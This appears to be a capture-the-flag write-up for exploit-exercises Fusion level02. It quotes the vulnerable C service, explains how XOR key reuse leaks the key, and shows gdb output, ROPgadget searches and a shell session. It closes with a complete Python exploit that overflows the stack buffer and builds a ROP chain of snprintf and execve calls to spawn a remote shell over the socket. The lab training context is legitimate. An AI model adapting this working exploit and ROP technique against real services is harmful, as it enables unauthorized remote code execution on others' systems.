The description from exploit-exercises:
This level deals with some basic obfuscation / math stuff.
This level introduces non-executable memory and return into libc / .text / return orientated programming (ROP).
Let’s have a look at the source code:
#include "../common/common.c"
#define XORSZ 32
void cipher(unsigned char *blah, size_t len)
{
static int keyed;
static unsigned int keybuf[XORSZ];
int blocks;
unsigned int *blahi, j;
if(keyed == 0) {
int fd;
fd = open("/dev/urandom", O_RDONLY);
if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
close(fd);
keyed = 1;
}
blahi = (unsigned int *)(blah);
blocks = (len / 4);
if(len & 3) blocks += 1;
for(j = 0; j < blocks; j++) {
blahi[j] ^= keybuf[j % XORSZ];
}
}
void encrypt_file()
{
// http://thedailywtf.com/Articles/Extensible-XML.aspx
// maybe make bigger for inevitable xml-in-xml-in-xml ?
unsigned char buffer[32 * 4096];
unsigned char op;
size_t sz;
int loop;
printf("[-- Enterprise configuration file encryption service --]\n");
loop = 1;
while(loop) {
nread(0, &op, sizeof(op));
switch(op) {
case 'E':
nread(0, &sz, sizeof(sz));
nread(0, buffer, sz);
cipher(buffer, sz);
printf("[-- encryption complete. please mention "
"474bd3ad-c65b-47ab-b041-602047ab8792 to support "
"staff to retrieve your file --]\n");
nwrite(1, &sz, sizeof(sz));
nwrite(1, buffer, sz);
break;
case 'Q':
loop = 0;
break;
default:
exit(EXIT_FAILURE);
}
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *p;
background_process(NAME, UID, GID);
fd = serve_forever(PORT);
set_io(fd);
encrypt_file();
}
The vulnerability here is clear: user input of arbitrary size is copied into a local buffer of fixed size (32*4096). A classic stack-based buffer overflow.
Unfortunately our input is encrypted (xored) with a different pseudorandom key obtained from /dev/urandom every time we connect to the service (cipher function).
The key is, however, reused within the same session. The output of this encryption is returned to the user.
void cipher(unsigned char *blah, size_t len)
{
static int keyed;
...
if(keyed == 0) {
...
keyed = 1;
}
...
}
Since we are in a while loop and we can call multiple times the vulnerable routine.
We’ll use the first cycle to extract the key (sending just null bytes) and then send our payload encrypted with the same key to exploit the buffer overflow.
The cipher routine will actually “decrypt” our payload (how XOR works) allowing us to overwrite EIP with the desired value.
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 8106]
0x41414141 in ?? ()
(gdb) i r
eax 0x51 81
ecx 0xbfb33c7b -1078772613
edx 0x1 1
ebx 0xb784cff4 -1216032780
esp 0xbfb53c90 0xbfb53c90
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/4x $esp
0xbfb53c90: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
EIP is now under control and ESP is pointing to user controlled input.
We cannot execute our shellcode directly from the stack due to the Non-Executable Stack policy but, since the binary is not a PIE we can probably craft a chain of libc function calls (using the GOT) to obtain a shell.
Remember also that stdin and stdout are redirected to the socket connection.
(gdb) disas 0x80489b0
Dump of assembler code for function execve@plt:
0x080489b0 <+0>: jmp DWORD PTR ds:0x804b3d8
0x080489b6 <+6>: push 0xc0
0x080489bb <+11>: jmp 0x8048820
End of assembler dump.
The “system()” function is not available, but we have “execve()” which also works fine. Since there is no “/bin/sh” string in the binary we must write it ourselves to a writable memory location (how about bss?) with a bunch of “snprintf()” calls.
(gdb) disas 0x80489f0
Dump of assembler code for function snprintf@plt:
0x080489f0 <+0>: jmp DWORD PTR ds:0x804b3e8
0x080489f6 <+6>: push 0xe0
0x080489fb <+11>: jmp 0x8048820
End of assembler dump.
0804b418 g *ABS* 00000000 __bss_start
0804b420 w O .bss 00000004 environ@@GLIBC_2.0
root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "/bin/sh"
Gadgets information
============================================================
Total strings found: 0
root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "sh"
Gadgets information
============================================================
Total strings found: 0
root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "/bin/"
Gadgets information
============================================================
0x08049d78: "/bin/"
Total strings found: 1
root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "s"
Gadgets information
============================================================
0x08048142: "s"
...
Total strings found: 109
root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "h"
Gadgets information
============================================================
0x080484e1: "h"
...
Total strings found: 51
The stack will look something similar:
After the execve we should be able to interact with the remote system:
Claudios-MacBook-Pro:fusion claudio$ python level02-1.py
[*] Obtaining key
[+] Key acquired 678e14cb51840e93837e0a6200b7ed53d775eef2dd431b6fc5db063b78848fcccdc3bab6954e37af336ad172d5962272ffcc15ca718fc1d4f88bd7636a59e952364ef7e5f4cc3cbf592e9e91e03476a2526b62eeb7d5eed0e2903823e2e0e4248a2cd5123d15539ad07bf8d5c0f34e0c6110a51a1b04a1a6b7eb520bea7d6c85
[*] Encrypting payload
[*] Sending exploit
[+] Done... enjoy!
id
uid=20002 gid=20002 groups=20002
hostname
fusion
ls
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
media
mnt
opt
proc
rofs
root
run
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
And finally the python exploit:
import socket
import struct
import time
import telnetlib
T = "172.16.165.130"
P = 20002
key_sz = 32*4
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((T,P))
def crypt(value, key):
return ''.join(chr(ord(value[x])^ord(key[x % key_sz])) for x in range(len(value)))
print "[*] Obtaining key"
s.recv(100) # message from srv
s.send("E")
s.send(struct.pack("I", key_sz))
s.send("\x00" * key_sz)
time.sleep(0.5)
s.recv(121) # message from srv
sz = s.recv(4)
sz = struct.unpack("I", sz)[0]
key = s.recv(sz)
print "[+] Key acquired %s" % key.encode("hex")
payl = "A"*131088 #junk
payl += struct.pack("I",0x08049734) #eip -> ret
payl += struct.pack("I",0x080489f0) # snprintf int snprintf(char *str, size_t size, const char *format, ...);
payl += struct.pack("I",0x080499bc) # ppppr
payl += struct.pack("I",0x0804b420) # snprintf - dest: bss[0]
payl += struct.pack("I",0x00000006) # snprintf - size: 6 (including null byte)
payl += struct.pack("I",0x08049d7d) # snprintf - format: "%s"
payl += struct.pack("I",0x08049d78) # snprintf - src: "/bin/"
payl += struct.pack("I",0x080489f0) # snprintf
payl += struct.pack("I",0x080499bc) # ppppr
payl += struct.pack("I",0x0804b425) # snprintf - dest: bss[5]
payl += struct.pack("I",0x00000002) # snprintf - size: 2
payl += struct.pack("I",0x08049d7d) # snprintf - format: "%s"
payl += struct.pack("I",0x08049d74) # snprintf - src: 's'
payl += struct.pack("I",0x080489f0) # snprintf
payl += struct.pack("I",0x080499bc) # ppppr
payl += struct.pack("I",0x0804b426) # snprintf - dest: bss[6]
payl += struct.pack("I",0x00000002) # snprintf - size: 2
payl += struct.pack("I",0x08049d7d) # snprintf - format: "%s"
payl += struct.pack("I",0x08048bf4) # snprintf - src: 'h'
payl += struct.pack("I",0x080489b0) # execve
payl += struct.pack("I",0xcccccccc) # last return
payl += struct.pack("I",0x0804b420) # execve - command: (bss) "/bin/sh"
payl += "\x00"*8 #execve args + env
print "[*] Encrypting payload"
payl = crypt(payl, key)
payl_size = len(payl)
print "[*] Sending exploit"
s.send("E")
s.send(struct.pack("I", payl_size))
s.send(payl)
time.sleep(0.5)
s.recv(120) # message from srv
sz = s.recv(4)
sz = struct.unpack("I", sz)[0]
buff = s.recv(sz)
s.send("Q")
print "[+] Done... enjoy!"
t = telnetlib.Telnet()
t.sock = s
t.interact()